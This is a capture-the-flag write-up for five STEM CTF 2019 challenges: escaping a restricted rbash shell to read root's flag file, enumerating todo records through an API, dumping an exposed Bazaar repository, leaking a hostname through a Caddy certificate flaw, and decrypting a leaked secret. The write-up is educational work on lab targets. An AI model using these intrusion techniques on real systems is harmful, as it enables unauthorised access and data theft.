STEM CTF: Cyber Challenge 2019 Write-ups

Information#

CTF#

  • Name : STEM CTF: Cyber Challenge 2019
  • Website : mitrestemctf.org
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

50 - Clean Room - System (Linux)#

Goal#

For this challenge we are in a restricted shell called rbash (for restricted bash) and our goal is to escape or bypass this restriction to get the flag.

For those who are unfamiliar with rbash, here what it is:

It limits a user's ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:

  • Using the 'cd' command to change directories.
  • Setting or unsetting certain environment variables (i.e. SHELL, PATH, etc...).
  • Specifying command names that contain slashes.
  • Specifying a filename containing a slash as an argument to the '.' built-in command.
  • Specifying a filename containing a slash as an argument to the '-p' option to the 'hash' built-in command.
  • Importing function definitions from the shell environment at startup.
  • Parsing the value of SHELLOPTS from the shell environment at startup.
  • Redirecting output using the '>', '>|', ", '>&', '&>', and '>>' redirection operators.
  • Using the 'exec' built-in to replace the shell with another command.
  • Adding or deleting built-in commands with the '-f' and '-d' options to the enable built-in.
  • Using the 'enable' built-in command to enable disabled shell built-ins.
  • Specifying the '-p' option to the 'command' built-in.
  • Turning off restricted mode with 'set +r' or 'set +o restricted'.

Intended solution#

We begin by connecting to the server with ssh:

1
$ ssh ctf@138.247.13.108

Reconnaissance#

Let's start with a recon phase, for example echo * can partially replace ls to discover filenames.

1
2
3
4
5
ctf@856c978dd912:~$ echo *
bin

ctf@2900f82b2e6c:~$ echo .*
. .. .bash_logout .bashrc .profile

Now let's see if we can see some important environment variables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ctf@856c978dd912:~$ export
declare -x HOME="/home/ctf"
declare -x LOGNAME="ctf"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MAIL="/var/mail/ctf"
declare -x OLDPWD
declare -rx PATH="/home/ctf/bin"
declare -x PWD="/home/ctf"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="172.18.0.1 37344 22"
declare -x SSH_CONNECTION="172.18.0.1 37344 172.18.0.9 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="ctf"
declare -x VISIBLE="now"

We learnt that our path is limited to PATH="/home/ctf/bin" so we will only be able to execute binaries that are in this folder.

Then we can see there is only one binary in it:

1
2
3
4
5
ctf@856c978dd912:~$ echo /home/ctf/bin/*
/home/ctf/bin/tee

ctf@856c978dd912:~$ echo /home/ctf/bin/.*
/home/ctf/bin/. /home/ctf/bin/..

So the intended way must be to use tee to escape or bypass rbash.

Let's try to use tee to write a script in the PATH so it will be executable:

1
2
3
ctf@d6f1f83e9db4:~$ echo "/bin/bash" | tee /home/ctf/bin/escape
tee: /home/ctf/bin/escape: Permission denied
/bin/bash

But we are not able to do that.

Let's try to write into .bashrc or .profile and then source it to be executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ctf@cb693b5f1ec5:~$ echo "/bin/bash" | tee -a /home/ctf/.bashrc
/bin/bash

ctf@cb693b5f1ec5:~$ echo "/bin/bash" | tee -a /home/ctf/.profile
/bin/bash

ctf@cb693b5f1ec5:~$ source .profile
-rbash: .: /home/ctf/.bashrc: restricted
-rbash: PATH: readonly variable
-rbash: /bin/bash: restricted: cannot specify `/' in command names
-rbash: /bin/bash: restricted: cannot specify `/' in command names

ctf@cb693b5f1ec5:~$ source .bashrc
-rbash: dircolors: command not found
-rbash: /bin/bash: restricted: cannot specify `/' in command names

We can't either.

By pressing two times <TAB> we can list available commands in our environment:

1
2
3
4
5
ctf@cb693b5f1ec5:~$ <TAB> <TAB>
! [[ bg caller compgen coproc do elif eval false fi grep if l local popd read select source then true umask wait
./ ]] bind case complete declare done else exec fc for hash in la logout printf readarray set suspend time type unalias while
: alert break cd compopt dirs echo enable exit fg function help jobs let ls pushd readonly shift tee times typeset unset {
[ alias builtin command continue disown egrep esac export fgrep getopts history kill ll mapfile pwd return shopt test trap ulimit until }

Note that exec for example is present but disallowed.

Bypass#

So what to do? Let's RTFM!

From man tee: tee - read from standard input and write to standard output and files.

Ok then why not inject a file in standard input so it will be printed to standard output?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ctf@29a879d73211:~$ tee < .profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi

# set PATH so it includes user's private bin directories

This works! Noice! We have replaced cat by tee < <file>, we are now enable to read any files.

There is nothing interesting in .bashrc.

So now we can easily find where the flag is and print it:

1
2
3
4
5
ctf@1f7bcf5d48c3:~$ echo /root/*
/root/flag.txt

ctf@1f7bcf5d48c3:~$ tee < /root/flag.txt
MCA{ieHaisoh4eif2ae}

Or for one-liners:

1
2
tee < $(echo -n /root/*)
MCA{ieHaisoh4eif2ae}

Unintended solution#

For those who did Restricted shells challenge on root-me, you probably know there are a lot of command that allow to invoke a shell and make command execution.

A trivial way is to specify a command to execute after the ssh connection command:

1
2
% ssh ctf@138.247.13.108 id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

So we have only to invoke bash for example:

1
% ssh ctf@138.247.13.108 bash

We now are out of rbash. Let's see where the flag can be:

1
2
3
4
5
6
7
8
ls -lhA /root
total 12K
-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 21 Feb 19 16:32 flag.txt

cat /root/flag.txt
MCA{ieHaisoh4eif2ae}

100 - TODO - Web#

We have the interface of a todolist at http://138.247.13.110/:

Enter something and get redirected to http://138.247.13.110/todolist/1000/

Where we can do a CTRL + U to display the source code as always.

We can see there are two custom JavaScript script included:

lists.js is the one that get our interest, at the end of the script we can read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// send put request using the data of the get for the same id
var todoURL = '/api/todos/' + todoID + '/'
$.getJSON(todoURL, function(data) {
data.is_finished = isFinished;
if (isFinished) {
data.finished_at = moment().toISOString();
} else {
data.finished_at = null;
}
$.ajax({
url: todoURL,
type: 'PUT',
contentType: 'application/json',
data: JSON.stringify(data),
success: function() {
location.reload();
}
});

We can access the private data including the description of every todo liek that:

1
2
% curl http://138.247.13.110/api/todos/42/
{"id":42,"todolist":42,"description":"The important things are children, honesty, integrity and faith.","created_at":null,"is_finished":false,"finished_at":null}

So I used the Intruder of Burp Suit to request http://138.247.13.110/api/todos/<id>/ for <id> from 1 to 1000 and match any content containing MCA{:

MCA{al3x4_5et_a_r3minder}

150 - My First Blog - Web#

http://138.247.13.106/

Bazaar - The worlds best version control! is a clue there may be a [dvcs][dvcs] (Distributed Version Control System) exposed on the web.

[dvcs];https://en.wikipedia.org/wiki/Distributed_version_control

We can dump the exposed Bazaar repository with dvcs-ripper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
% ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.106/.bzr/
[i] Downloading bzr files from http://138.247.13.106/.bzr/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found branch-format
[d] found branch/branch.conf
[d] found branch/format
[d] found branch/last-revision
[d] found branch/tags
[d] found checkout/conflicts
[d] found checkout/dirstate
[d] found checkout/format
[!] Not found for checkout/merge-hashes: 404 Not Found
[d] found checkout/views
[d] found repository/format
[d] found repository/pack-names
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[d] found repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Got items with bzr check: 0
[i] Items fetched: 0
[i] Finished fetching (5/5)
[i] Checking out/Reverting source by calling bzr revert
N index.php

Now we can see or revert previous a commit of the source code file index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
% bzr log
------------------------------------------------------------
revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!

% bzr revert

% cat index.php|grep MCA
// Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}

50 - Super Secret Hidden Service - Web#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
% curl -vk https://138.247.13.115
> GET / HTTP/2
> Host: 138.247.13.115
> User-Agent: curl/7.64.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
< HTTP/2 421
< content-type: text/plain; charset=utf-8
< server: Caddy
< x-content-type-options: nosniff
< content-length: 56
< date: Sat, 23 Feb 2019 19:21:17 GMT
<
421 Site 138.247.13.115 is not served on this interface
* Connection #0 to host 138.247.13.115 left intact

Caddy and Site X.X.X.X is not served on this interface make us know of the usage of Caddy HTTP/2 web server.

Just by searching for caddy vulnerabilities we find CVE-2018-19148 described in an article entitled Making the Web a Better Place: Fixing Caddy Web Server Hostname Enumeration Vulnerability and the issue was filled on github issue #1303.

So let's use this vulnerability to leak the domain associated to that IP:

1
2
3
4
5
% echo | openssl s_client -showcerts -servername 138.247.13.115 -connect 138.247.13.115:443 2>/dev/null | openssl x509 -inform pem -noout -text 2>/dev/null | grep 'DNS'19-02-23 - 19:54:18
DNS:138.247.13.115.xip.io

% curl -k https://138.247.13.115.xip.io
Flag is: MCA{shuHeimoowaiF5a}

Note: it was not possible to use common OSINT techniques to find the domain.

200 - Medium is overrated - Web#

We used the same solution as for My First Blog challenge.

1
$ ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.104/.bzr/

Then we can display the commit history (-p: display a diff (patch) for each revision) for the file index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
% bzr log -p index.php
------------------------------------------------------------
revno: 167
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:21 -0500
message:
Oops
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 23:00:02 +0000
+++ index.php 2018-12-06 23:00:21 +0000
@@ -28,5 +28,4 @@
?>
</div>
</body>
-</html>
-<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
+</html>
\ No newline at end of file
------------------------------------------------------------
revno: 166
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:02 -0500
message:
CentOS is just RedHat
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:54:52 +0000
+++ index.php 2018-12-06 23:00:02 +0000
@@ -10,6 +10,8 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+ <h1>CentOS is just RedHat</h1>
+ <p>A friend of mine was explaining how the company he works for pays for RedHat. I don't understand why they are LITERALLY throwing their money away since CentOS is just RedHat. In fact, CentOS is even better than RedHat since it discovers the fastest mirror automatically. I'm applying for one of their open job reqs just to give them a piece of my mind.</p>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
@@ -26,4 +28,5 @@
?>
</div>
</body>
-</html>
\ No newline at end of file
+</html>
+<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
------------------------------------------------------------
revno: 156
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:54:52 -0500
message:
Nevermind on the blog post
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:52:42 +0000
+++ index.php 2018-12-06 22:54:52 +0000
@@ -10,11 +10,6 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
- <h1>Encryption is so cool!</h1>
- <p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
- <p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
- <p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
- <hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------
revno: 155
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:52:42 -0500
message:
Add a new blog post!
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 18:48:25 +0000
+++ index.php 2018-12-06 22:52:42 +0000
@@ -10,6 +10,11 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+ <h1>Encryption is so cool!</h1>
+ <p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
+ <p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
+ <p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
+ <hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------
revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
diff:
=== added file 'index.php'
--- index.php 1970-01-01 00:00:00 +0000
+++ index.php 2018-12-06 18:48:25 +0000
@@ -0,0 +1,29 @@
+<html>
+ <head>
+ <title>My Blog</title>
+ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
+ </head>
+ <body>
+
+ <div class="container">
+ <div class="jumbotron">
+ <h1 class="display-4">My Blog</h1>
+ <p class="lead">Just a spot for me to talk about how much I love Canonical</p>
+ </div>
+ <h1>I love Canonical</h1>
+ <p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
+ <ul>
+ <li>Juju - The worlds best configuration management tool!</li>
+ <li>Bazaar - The worlds best version control!</li>
+ <li>Ubuntu - The worlds best OS!</li>
+ <li>Launchpad - GitHub? Gross!</li>
+ </ul>
+ <hr>
+ <h1>Learning PHP</h1>
+ <p>I recently learned about PHP and I can't stop switching everything over to it. In fact, this blog is now powered by PHP, I think! I changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I can't seem to get it to work right. I'll have to look into it later.</p>
+ <?php
+ // Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
+ ?>
+ </div>
+ </body>
+</html>
\ No newline at end of file

So the private bitcoin key is

NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==

Let's base64 decode it:

1
2
$ printf %s 'NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==' | base64 -d
5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751

And the AES ECB key must be 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077.

We decipher we can use http://aes.online-domain-tools.com/ or in CLI:

1
2
% openssl enc -d -aes-256-ecb -in <(printf %s '5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751' | xxd -r -p) -K '6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077'
MCA{I$love$bitcoin$so$much!}
Share